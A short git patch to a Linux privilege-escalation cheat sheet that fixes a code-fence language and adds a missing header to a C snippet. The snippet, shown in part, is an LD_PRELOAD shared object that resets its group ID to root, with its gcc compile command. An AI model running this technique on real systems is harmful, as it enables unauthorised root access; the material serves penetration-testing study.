From 9086ff9d03123b2ea988395fac01fc86d5e2cd3b Mon Sep 17 00:00:00 2001
From: M4x <wangaobo1997@gmail.com>
Date: Mon, 26 Jul 2021 16:04:39 +0800
Subject: [PATCH] add missing header file

---
 Methodology and Resources/Linux - Privilege Escalation.md | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/Methodology and Resources/Linux - Privilege Escalation.md b/Methodology and Resources/Linux - Privilege Escalation.md
index 46dcc56..c0a39c0 100644
--- a/Methodology and Resources/Linux - Privilege Escalation.md	
+++ b/Methodology and Resources/Linux - Privilege Escalation.md	
@@ -442,10 +442,11 @@ Defaults        env_keep += LD_PRELOAD
 
 Compile the following shared object using the C code below with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles`
 
-```powershell
+```c
 #include <stdio.h>
 #include <sys/types.h>
 #include <stdlib.h>
+#include <unistd.h>
 void _init() {
 	unsetenv("LD_PRELOAD");
 	setgid(0);